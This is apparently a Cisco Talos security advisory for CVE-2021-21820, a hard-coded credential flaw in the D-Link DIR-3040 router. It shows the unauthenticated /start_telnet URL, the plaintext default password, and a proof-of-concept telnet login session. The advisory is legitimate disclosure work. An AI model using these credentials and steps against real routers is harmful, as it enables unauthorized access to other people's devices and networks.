CVE-2021-21820: TALOS-2021-1285 || Cisco Talos Intelligence Group

Summary

A hard-coded password vulnerability exists in the Libcli Test Environment functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to code execution. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

D-LINK DIR-3040 1.13B03

Product URLs

https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-798 - Use of Hard-coded Credentials

Details

The DIR-3040 is an AC3000-based wireless internet router.

A hidden telnet service can be started without authentication by visiting

https://<router_ip>/start_telnet

This service presents the user with a login prompt for their “libcli test environment”:

$ telnet 192.168.0.1
          Trying 192.168.0.1...
          Connected to 192.168.0.1.
          Escape character is '^]'.
          dlinkrouter login: admin
          Password: 

From here, a user can interact with the Libcli environment using their password with the static-salt discussed in this series of vulnerabilites.

While this is typically the same password that was created using the setup wizard, a default password can be used to login before this is changed.

The current password at any time can be found unencrypted in /var/2860_data.dat. There is a default password that will allow you to access the Libcli test environment via telnet.

• $ head /var/2860_data.dat Default WorkMode=WirelessRouter IcapMode=0 WebInit=1 DBDC_MODE=1 HostName=Mediatek Login=admin Password=DIRrqtq*@twsz OperationMode=1 boost_mode=auto

Exploit Proof of Concept

$ telnet 192.168.100.1     
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.
dlinkrouter login: admin
Password: 
libcli test environment

router> 
  help                 Show available commands
  quit                 Disconnect
  history              Show a list of previously run commands
  protest              protest cmd
  iwpriv               iwpriv cmd
  ifconfig             ifconfig cmd
  iwconfig             iwconfig cmd
  reboot               reboot cmd
  brctl                brctl cmd
  ated                 ated cmd
  ping                 ping cmd

router> 

Timeline

2021-04-28 - Vendor disclosure
2021-05-12 - Vendor acknowledged
2021-06-08 - Vendor provided patch for Talos to test
2021-06-09 - Talos provided feedback on patch
2021-06-23 - Talos follow up with vendor
2021-07-13 - Vendor patched
2021-07-15 - Public Release

Discovered by Dave McDaniel of Cisco Talos.